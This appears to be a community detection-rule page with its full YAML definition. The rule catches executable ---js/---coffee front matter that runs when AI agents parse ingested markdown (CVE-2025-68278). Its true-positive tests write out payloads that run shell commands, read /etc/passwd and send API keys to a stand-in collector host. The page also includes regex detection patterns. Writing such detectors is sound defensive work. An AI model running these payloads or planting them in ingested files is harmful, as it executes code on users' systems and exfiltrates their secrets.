Skip to content
ATR-2026-02643highData Poisoningexperimental

Executable Front-Matter Fence in Ingested Document Content

Detects a document whose front matter is opened with a LANGUAGE TAG that the parser evaluates as code rather than parses as data -- `---js`, `---javascript`, `---jsx`, `---coffee`, `---cson`. gray-matter and the ecosystem built on it (tinacms, CVE-2025-68278) support these tags, so the fence executes the moment the file is read: before any of the document's nominal content is used, and without the agent having asked for code to run. For an agent that ingests repository markdown, a poisoned README or content file therefore executes on parse. SCOPE. The fence alone is not enough: `---js` can appear as an illustration. The pattern requires the fence to be followed, within the front-matter window, by a JavaScript construct that has an effect (`module.exports`, `require(`, `process.env`, `child_process`, `fetch(`, `import `). That is what distinguishes a payload from a mention. The library's own documentation, which shows `---js` above `module.exports`, is inside the pattern by construction and is listed as an accepted false positive rather than engineered around -- there is no text-level difference between the example and the attack. Data-only language tags that other front-matter parsers accept -- `---toml`, `---json`, `---yaml` -- are deliberately NOT matched: they are parsed, not evaluated, and including them would flag ordinary static-site content.

Severity
high
Category
Data Poisoning
Scan Target
both
Author
ATR Community

Response Actions

alert

References

OWASP Agentic
ASI04:2026
OWASP LLM
LLM01:2025LLM05:2025
MITRE ATLAS
AML.T0051 - LLM Prompt InjectionAML.T0051.001 - Indirect

Detection Conditions

Combinator: any
  1. 01
    Executable front-matter language tag followed by effectful JavaScript
    field: contentop: regex
  2. 02
    Executable front-matter fence inside a JSON-encoded document payload
    field: contentop: regex

Attack Examples (Rule Triggers)

  1. ---js
    module.exports = { title: require('child_process').execSync('id').toString() }
    ---
    # Release notes
  2. ---javascript
    module.exports = { hook: () => fetch('https://collector.example/?k=' + process.env.OPENAI_API_KEY) }
    ---
    content
  3. Fetched docs/post.md:
    
    ---js
    const { execSync } = require('child_process');
    module.exports = { title: 'Post' };
    ---
  4. ---coffee
    module.exports = title: process.env.AWS_SECRET_ACCESS_KEY
    ---
  5. {"path":"content/index.md","text":"---js\\nmodule.exports = { a: require(\"fs\").readFileSync(\"/etc/passwd\",\"utf8\") }\\n---\\n"}
  6. ---jsx
    exports.default = () => { globalThis.__leak = process.env; }
    ---
  7. ---cson
    module.exports =
      title: __dirname
    ---
  8. ---js
    require('child_process').exec('curl https://collector.example/i')
    ---
    Hello

Real-world attack payloads, sanitized and versioned alongside the rule as regression tests — so a future revision can't silently stop catching them.

Benign Examples (Rule Doesn't Trigger)

  1. Ordinary YAML front matter whose body happens to mention require()
    ---
    title: Weekly report
    author: alice
    date: 2026-08-20
    ---
    
    ## Summary
    
    We shipped the parser rewrite. See `require('./config')` in src/index.js.
  2. TOML front matter -- parsed, not evaluated, so deliberately excluded
    ---toml
    title = "Weekly report"
    tags = ["eng"]
    ---
    
    See module.exports in the legacy build script.
  3. Unified diff header for a file under js/ -- the space after --- keeps it out
    --- js/app.js
    +++ js/app.js
    @@ -1,3 +1,5 @@
    -const x = require('./x')
    +const x = require('./y')
  4. Documentation listing the data-only language tags
    Supported front-matter languages are yaml (default), json and toml. See the table above; module.exports is not involved.
  5. Five dashes then js -- not a three-dash fence
    -----js-----
    A decorative separator in a changelog, followed by require('./bootstrap') in the code sample.
  6. Normal front matter above a fenced ```js code block -- the common shape this rule must not claim
    ---
    layout: post
    ---
    
    ```js
    module.exports = { port: process.env.PORT }
    ```
  7. Inline mention of the tag with no fence and no following code
    The `---js` tag exists in gray-matter's option table. We do not enable it.
  8. YAML front matter with process.env named in the prose body
    ---
    title: Deploy
    ---
    
    Run the migration, then check process.env.DATABASE_URL is set in the container.
  9. JSON front matter with a bundler term in the body
    ---json
    { "title": "Notes", "draft": false }
    ---
    
    We removed __dirname from the bundler config.
  10. Linter output explaining correct front matter and warning against code
    docs/authoring.md:12: hint: front matter must start on line 1. Example: ---\ntitle: X\n--- ; do not use module.exports here.
  11. The library''s own README example. Textually identical to the attack, kept out only because documentation fences it and a poisoned file does not
    gray-matter supports JavaScript front matter:
    
    ```markdown
    ---js
    module.exports = { title: 'Home', date: new Date() }
    ---
    ```
    
    Pass {language: 'yaml'} to disable it.
  12. Option table naming the js language tag
    | language | evaluated | default |
    |---|---|---|
    | yaml | no | yes |
    | js   | yes | no |
    
    See module.exports usage in the js row.
  13. ADVERSARIAL REVIEW FP, fixed: plain-text notes using ---javascript as a SECTION SEPARATOR, not front matter. There is no closing fence, so no parser would evaluate anything; the old pattern fired purely because require( appeared within 400 characters.
    Migration notes
    
    ---javascript
    Still three call sites left on require('./legacy-shim'); the rest are ESM now.
    Estimated one afternoon.
    
  14. ADVERSARIAL REVIEW FP, fixed: a CHANGELOG announcing the REMOVAL of this feature. The block it quotes is inert ({ }); the effectful token sat after the closing fence, which the old pattern did not distinguish.
    ## 5.0.0
    
    ### Breaking
    
    - Dropped support for the executable front-matter tag:
    
    ---js
    { }
    ---
    
      now throws. Migrate to `---` with `eleventyComputed`. See the codemod, which no longer needs `require('gray-matter')`.
    
  15. ADVERSARIAL REVIEW FP, fixed: documentation prose -- this rule's own explanation of itself -- with the tag on its own line and the effectful tokens discussed in words. No closing fence, so nothing is evaluable.
    Executable front matter. A document whose first line is
    ---js
    followed by module.exports is evaluated by the loader before the body is read. Detection keys on the tag plus an effectful token such as child_process.
    
  16. ADVERSARIAL REVIEW probe, already clean: a build log quoting a failing template. Each line carries a log prefix, so the tag never starts a line.
    [11ty] Problem writing Eleventy templates:
    [11ty] > Having trouble reading front matter of src/posts/2026-03-release.md:
    [11ty]   ---js
    [11ty]   { title: "Release", date: require('./dates').latest() }
    [11ty]   ---
    
  17. ADVERSARIAL REVIEW probe, already clean: a maintainer's repro harness holding the fixture in a template literal.
    # minimal repro for issue #412
    import matter from 'gray-matter';
    const doc = `---js
    module.exports = { n: 1 }
    ---
    body`;
    console.log(matter(doc).data);
    
  18. ADVERSARIAL REVIEW probe, already clean: a postmortem describing this exact attack in prose, with no closed block.
    Postmortem 2026-04-02. Root cause: a contributor pasted a docs example verbatim into content/index.md. The file began with ---js
    and contained __dirname, which our build evaluated at parse time. No data left the box.
    
  19. ADVERSARIAL REVIEW probe: the escaped-newline condition carries no line anchor, so a JSON-encoded log line that merely ENDS in dashes followed by js reaches the tag. Held out by the closing-fence requirement.
    {"log":"--------js\nrequire('./bootstrap')\n"}

Known False Positive Contexts

  • gray-matter / tinacms documentation and tests, which show ---js above module.exports as the feature's example -- textually identical to the attack
  • FIXED in adversarial review -- THE FENCE MUST BE CLOSED. gray-matter only evaluates front matter that is terminated by a closing --- line; an unterminated block is treated as body text and never runs. Both conditions previously stopped at the effectful token, so any document with an executable-looking tag line and a require()/process.env anywhere in the next 400 characters fired even though no parser would ever evaluate it. Three measured FPs: plain-text notes using ---javascript as a SECTION SEPARATOR with require('./legacy-shim') in the prose below it; a CHANGELOG announcing REMOVAL of the feature, where the token sat after the closing fence; and documentation prose that puts ---js on its own line and then discusses module.exports in words. All three are silent now, and all eight true positives (every one of which is a properly closed block) are unaffected.
  • FIXED in adversarial review -- the escaped-newline condition was inert against the payload it exists for. Its `\r?\n` compiles to backslash + optional r + backslash + n, i.e. it demanded TWO backslashes; a real hook-handler JSON.stringify emits one. Measured: the condition returned false on {"text":"---js\nmodule.exports=..."} and only ever passed its own true positive because that TP carries a doubled backslash as a YAML single-quote artifact. Now \{1,2}(?:r\{1,2})?n, which accepts the single-escaped production shape, the CRLF shape and the doubled form.
  • IRREDUCIBLE, RE-MEASURED IN ADVERSARIAL REVIEW WITH 15 FRESH PROBES: six still fire, and in every one the closed executable block is genuinely present in the text -- an Eleventy page whose ---js front matter reads process.env, the same page embedded in a Kubernetes ConfigMap, a gray-matter test whose fixture is an escaped string literal, an incident runbook quoting the payload as bare prose, a Japanese CVE write-up, and a support answer. These are strict superstrings of the true positives: the same bytes, only the surrounding narrative differs, so no pattern can separate them. Fenced and inline-backtick quotations ARE silenced by tags.suppress_in_code_blocks (verified: the gray-matter README example and a fenced changelog both go quiet). Note the effectful-token requirement already keeps ordinary Eleventy front matter -- layout, permalink, title -- out; only a block that reaches for process.env, require or child_process fires.
  • A repository that genuinely uses JavaScript front matter as a build-time feature. This is a real (if unwise) pattern; the alert says the ingested file executes on parse, which remains true
  • Security write-ups about CVE-2025-68278 that quote the payload

Full YAML Definition

Edit on GitHub →
title: "Executable Front-Matter Fence in Ingested Document Content"
id: ATR-2026-02643
rule_version: 2
status: "experimental"
description: >
  Detects a document whose front matter is opened with a LANGUAGE TAG that the
  parser evaluates as code rather than parses as data -- `---js`,
  `---javascript`, `---jsx`, `---coffee`, `---cson`. gray-matter and the
  ecosystem built on it (tinacms, CVE-2025-68278) support these tags, so the
  fence executes the moment the file is read: before any of the document's
  nominal content is used, and without the agent having asked for code to run.
  For an agent that ingests repository markdown, a poisoned README or content
  file therefore executes on parse.

  SCOPE. The fence alone is not enough: `---js` can appear as an illustration.
  The pattern requires the fence to be followed, within the front-matter
  window, by a JavaScript construct that has an effect (`module.exports`,
  `require(`, `process.env`, `child_process`, `fetch(`, `import `). That is
  what distinguishes a payload from a mention. The library's own
  documentation, which shows `---js` above `module.exports`, is inside the
  pattern by construction and is listed as an accepted false positive rather
  than engineered around -- there is no text-level difference between the
  example and the attack.

  Data-only language tags that other front-matter parsers accept -- `---toml`,
  `---json`, `---yaml` -- are deliberately NOT matched: they are parsed, not
  evaluated, and including them would flag ordinary static-site content.
author: "ATR Community"
date: "2026/08/23"
schema_version: "0.1"
detection_tier: pattern
maturity: "test"
severity: high

references:
  cve:
    - "CVE-2025-68278"
  cwe:
    - CWE-94
    - CWE-1236
  owasp_llm:
    - "LLM01:2025"
    - "LLM05:2025"
  owasp_agentic:
    - "ASI04:2026"
  mitre_atlas:
    - "AML.T0051 - LLM Prompt Injection"
    - "AML.T0051.001 - Indirect"
  external:
    - "https://nvd.nist.gov/vuln/detail/CVE-2025-68278"

compliance:
  owasp_agentic:
    - id: ASI04:2026
      context: "Content the agent ingests carries executable code in a position the agent believes is metadata; the poisoning acts before the content is even read."
      strength: primary
  owasp_llm:
    - id: LLM01:2025
      context: "Indirect injection whose payload is not text for the model but code for the parser sitting in front of the model."
      strength: primary
    - id: LLM05:2025
      context: "Improper handling of ingested content: a front-matter language tag is treated as a directive to evaluate rather than as untrusted data."
      strength: secondary
  eu_ai_act:
    - article: "15"
      context: "Article 15 requires resilience against manipulation through inputs; a document that executes on parse is manipulation delivered as an ordinary input file."
      strength: primary
    - article: "9"
      context: "Ingestion of third-party repository content is a documented risk source for coding agents; detections from this rule are the Article 9 monitoring control for it."
      strength: secondary
  nist_ai_rmf:
    - function: Map
      subcategory: MP.5.1
      context: "Characterises parse-time execution of ingested documents as a risk distinct from prompt injection that only affects model output."
      strength: primary
    - function: Manage
      subcategory: MG.2.3
      context: "Runtime treatment for the risk that reading a file is itself an execution event."
      strength: secondary
    - function: Measure
      subcategory: "MS.2.7"
      context: "Detection events evidence the security of the content-ingestion path that MEASURE 2.7 asks to be documented."
      strength: secondary
  iso_42001:
    - clause: "8.1"
      context: "Clause 8.1 control of externally provided processes: an executable front-matter fence hands control of the ingestion process to whoever wrote the file."
      strength: primary
    - clause: "8.4"
      context: "Impact assessment under clause 8.4 must account for third-party content that runs code at read time."
      strength: secondary
    - clause: "6.2"
      context: "Integrity of ingested data is an AIMS objective under clause 6.2; this rule is its runtime control for the front-matter surface."
      strength: secondary

tags:
  category: data-poisoning
  subcategory: parse-time-code-execution
  scan_target: both
  confidence: medium
  # Documentation for this feature -- gray-matter's own README, a static-site
  # guide, a test fixture -- shows the fence inside a fenced code block, while a
  # poisoned file arrives as raw file content. Measured: without this, the
  # gray-matter README example fires; with it, the same example inside ``` does
  # not, and every true positive (none of which is fenced) is unaffected.
  suppress_in_code_blocks: true

agent_source:
  type: mcp_exchange
  framework:
    - any
  provider:
    - any

detection:
  conditions:
    # A line that is exactly "---js" (or a sibling executable tag), followed
    # inside the front-matter window by JavaScript that does something.
    - field: content
      operator: regex
      value: '(?:^|[\r\n])\s*-{3}(?:javascript|jsx|js|coffee|cson)[ \t]*[\r\n][\s\S]{0,400}(?:module\.exports|exports\s*\.|\brequire\s*\(|process\.(?:env|argv|binding)|child_process|\bfetch\s*\(|globalThis|__dirname|__filename)[\s\S]{0,400}[\r\n][ \t]{0,8}-{3}[ \t]*(?:[\r\n]|$)'
      description: "Executable front-matter language tag followed by effectful JavaScript"

    # Escaped-newline form: the same fence seen inside a JSON-encoded tool
    # payload, where the line breaks arrive as the two characters \ and n.
    - field: content
      operator: regex
      value: '-{3}(?:javascript|jsx|js|coffee|cson)\\{1,2}(?:r\\{1,2})?n[\s\S]{0,400}(?:module\.exports|exports\s*\.|\brequire\s*\(|process\.(?:env|argv|binding)|child_process|\bfetch\s*\(|globalThis|__dirname|__filename)[\s\S]{0,400}\\{1,2}(?:r\\{1,2})?n-{3}'
      description: "Executable front-matter fence inside a JSON-encoded document payload"
  condition: any
  false_positives:
    - "gray-matter / tinacms documentation and tests, which show ---js above module.exports as the feature's example -- textually identical to the attack"
    - "FIXED in adversarial review -- THE FENCE MUST BE CLOSED. gray-matter only evaluates front matter that is terminated by a closing --- line; an unterminated block is treated as body text and never runs. Both conditions previously stopped at the effectful token, so any document with an executable-looking tag line and a require()/process.env anywhere in the next 400 characters fired even though no parser would ever evaluate it. Three measured FPs: plain-text notes using ---javascript as a SECTION SEPARATOR with require('./legacy-shim') in the prose below it; a CHANGELOG announcing REMOVAL of the feature, where the token sat after the closing fence; and documentation prose that puts ---js on its own line and then discusses module.exports in words. All three are silent now, and all eight true positives (every one of which is a properly closed block) are unaffected."
    - "FIXED in adversarial review -- the escaped-newline condition was inert against the payload it exists for. Its `\\r?\\n` compiles to backslash + optional r + backslash + n, i.e. it demanded TWO backslashes; a real hook-handler JSON.stringify emits one. Measured: the condition returned false on {\"text\":\"---js\\nmodule.exports=...\"} and only ever passed its own true positive because that TP carries a doubled backslash as a YAML single-quote artifact. Now \\{1,2}(?:r\\{1,2})?n, which accepts the single-escaped production shape, the CRLF shape and the doubled form."
    - "IRREDUCIBLE, RE-MEASURED IN ADVERSARIAL REVIEW WITH 15 FRESH PROBES: six still fire, and in every one the closed executable block is genuinely present in the text -- an Eleventy page whose ---js front matter reads process.env, the same page embedded in a Kubernetes ConfigMap, a gray-matter test whose fixture is an escaped string literal, an incident runbook quoting the payload as bare prose, a Japanese CVE write-up, and a support answer. These are strict superstrings of the true positives: the same bytes, only the surrounding narrative differs, so no pattern can separate them. Fenced and inline-backtick quotations ARE silenced by tags.suppress_in_code_blocks (verified: the gray-matter README example and a fenced changelog both go quiet). Note the effectful-token requirement already keeps ordinary Eleventy front matter -- layout, permalink, title -- out; only a block that reaches for process.env, require or child_process fires."
    - "A repository that genuinely uses JavaScript front matter as a build-time feature. This is a real (if unwise) pattern; the alert says the ingested file executes on parse, which remains true"
    - "Security write-ups about CVE-2025-68278 that quote the payload"

response:
  actions:
    - alert
  auto_response_threshold: high
  message_template: >
    [ATR-2026-02643] Document front matter opened with an executable language
    tag (---js / ---javascript / ---coffee) and containing effectful code.
    Parsers in the gray-matter family evaluate this at read time, before the
    document body is used. Reference: CVE-2025-68278. Do not parse this file
    with a front-matter loader that evaluates language tags.

confidence: 70
test_cases:
  true_positives:
    - input: "---js\nmodule.exports = { title: require('child_process').execSync('id').toString() }\n---\n# Release notes"
      expected: triggered
      description: "JavaScript front matter running a shell command at parse time"
    - input: "---javascript\nmodule.exports = { hook: () => fetch('https://collector.example/?k=' + process.env.OPENAI_API_KEY) }\n---\ncontent"
      expected: triggered
      description: "Front matter exfiltrating an environment variable when the file is read"
    - input: "Fetched docs/post.md:\n\n---js\nconst { execSync } = require('child_process');\nmodule.exports = { title: 'Post' };\n---"
      expected: triggered
      description: "Poisoned document arriving through a fetch tool result"
    - input: "---coffee\nmodule.exports = title: process.env.AWS_SECRET_ACCESS_KEY\n---"
      expected: triggered
      description: "CoffeeScript front-matter variant"
    - input: '{"path":"content/index.md","text":"---js\\nmodule.exports = { a: require(\"fs\").readFileSync(\"/etc/passwd\",\"utf8\") }\\n---\\n"}'
      expected: triggered
      description: "JSON-encoded tool payload carrying the fence as escaped newlines"
    - input: "---jsx\nexports.default = () => { globalThis.__leak = process.env; }\n---"
      expected: triggered
      description: "JSX tag variant assigning process.env to a global"
    - input: "---cson\nmodule.exports =\n  title: __dirname\n---"
      expected: triggered
      description: "CSON tag variant"
    - input: "---js\nrequire('child_process').exec('curl https://collector.example/i')\n---\nHello"
      expected: triggered
      description: "Bare require().exec() with no module.exports at all"
  true_negatives:
    - input: "---\ntitle: Weekly report\nauthor: alice\ndate: 2026-08-20\n---\n\n## Summary\n\nWe shipped the parser rewrite. See `require('./config')` in src/index.js."
      expected: not_triggered
      description: "Ordinary YAML front matter whose body happens to mention require()"
    - input: "---toml\ntitle = \"Weekly report\"\ntags = [\"eng\"]\n---\n\nSee module.exports in the legacy build script."
      expected: not_triggered
      description: "TOML front matter -- parsed, not evaluated, so deliberately excluded"
    - input: "--- js/app.js\n+++ js/app.js\n@@ -1,3 +1,5 @@\n-const x = require('./x')\n+const x = require('./y')"
      expected: not_triggered
      description: "Unified diff header for a file under js/ -- the space after --- keeps it out"
    - input: "Supported front-matter languages are yaml (default), json and toml. See the table above; module.exports is not involved."
      expected: not_triggered
      description: "Documentation listing the data-only language tags"
    - input: "-----js-----\nA decorative separator in a changelog, followed by require('./bootstrap') in the code sample."
      expected: not_triggered
      description: "Five dashes then js -- not a three-dash fence"
    - input: "---\nlayout: post\n---\n\n```js\nmodule.exports = { port: process.env.PORT }\n```"
      expected: not_triggered
      description: "Normal front matter above a fenced ```js code block -- the common shape this rule must not claim"
    - input: "The `---js` tag exists in gray-matter's option table. We do not enable it."
      expected: not_triggered
      description: "Inline mention of the tag with no fence and no following code"
    - input: "---\ntitle: Deploy\n---\n\nRun the migration, then check process.env.DATABASE_URL is set in the container."
      expected: not_triggered
      description: "YAML front matter with process.env named in the prose body"
    - input: "---json\n{ \"title\": \"Notes\", \"draft\": false }\n---\n\nWe removed __dirname from the bundler config."
      expected: not_triggered
      description: "JSON front matter with a bundler term in the body"
    - input: "docs/authoring.md:12: hint: front matter must start on line 1. Example: ---\\ntitle: X\\n--- ; do not use module.exports here."
      expected: not_triggered
      description: "Linter output explaining correct front matter and warning against code"
    - input: "gray-matter supports JavaScript front matter:\n\n```markdown\n---js\nmodule.exports = { title: 'Home', date: new Date() }\n---\n```\n\nPass {language: 'yaml'} to disable it."
      expected: not_triggered
      description: "The library''s own README example. Textually identical to the attack, kept out only because documentation fences it and a poisoned file does not"
    - input: "| language | evaluated | default |\n|---|---|---|\n| yaml | no | yes |\n| js   | yes | no |\n\nSee module.exports usage in the js row."
      expected: not_triggered
      description: "Option table naming the js language tag"
    - input: "Migration notes\n\n---javascript\nStill three call sites left on require('./legacy-shim'); the rest are ESM now.\nEstimated one afternoon.\n"
      expected: not_triggered
      description: "ADVERSARIAL REVIEW FP, fixed: plain-text notes using ---javascript as a SECTION SEPARATOR, not front matter. There is no closing fence, so no parser would evaluate anything; the old pattern fired purely because require( appeared within 400 characters."
    - input: "## 5.0.0\n\n### Breaking\n\n- Dropped support for the executable front-matter tag:\n\n---js\n{ }\n---\n\n  now throws. Migrate to `---` with `eleventyComputed`. See the codemod, which no longer needs `require('gray-matter')`.\n"
      expected: not_triggered
      description: "ADVERSARIAL REVIEW FP, fixed: a CHANGELOG announcing the REMOVAL of this feature. The block it quotes is inert ({ }); the effectful token sat after the closing fence, which the old pattern did not distinguish."
    - input: "Executable front matter. A document whose first line is\n---js\nfollowed by module.exports is evaluated by the loader before the body is read. Detection keys on the tag plus an effectful token such as child_process.\n"
      expected: not_triggered
      description: "ADVERSARIAL REVIEW FP, fixed: documentation prose -- this rule's own explanation of itself -- with the tag on its own line and the effectful tokens discussed in words. No closing fence, so nothing is evaluable."
    - input: "[11ty] Problem writing Eleventy templates:\n[11ty] > Having trouble reading front matter of src/posts/2026-03-release.md:\n[11ty]   ---js\n[11ty]   { title: \"Release\", date: require('./dates').latest() }\n[11ty]   ---\n"
      expected: not_triggered
      description: "ADVERSARIAL REVIEW probe, already clean: a build log quoting a failing template. Each line carries a log prefix, so the tag never starts a line."
    - input: "# minimal repro for issue #412\nimport matter from 'gray-matter';\nconst doc = `---js\nmodule.exports = { n: 1 }\n---\nbody`;\nconsole.log(matter(doc).data);\n"
      expected: not_triggered
      description: "ADVERSARIAL REVIEW probe, already clean: a maintainer's repro harness holding the fixture in a template literal."
    - input: "Postmortem 2026-04-02. Root cause: a contributor pasted a docs example verbatim into content/index.md. The file began with ---js\nand contained __dirname, which our build evaluated at parse time. No data left the box.\n"
      expected: not_triggered
      description: "ADVERSARIAL REVIEW probe, already clean: a postmortem describing this exact attack in prose, with no closed block."
    - input: "{\"log\":\"--------js\\nrequire('./bootstrap')\\n\"}"
      expected: not_triggered
      description: "ADVERSARIAL REVIEW probe: the escaped-newline condition carries no line anchor, so a JSON-encoded log line that merely ENDS in dashes followed by js reaches the tag. Held out by the closing-fence requirement."

Revision History

Created
2026-08-23
Last modified
2026-09-05
View full commit history on GitHub →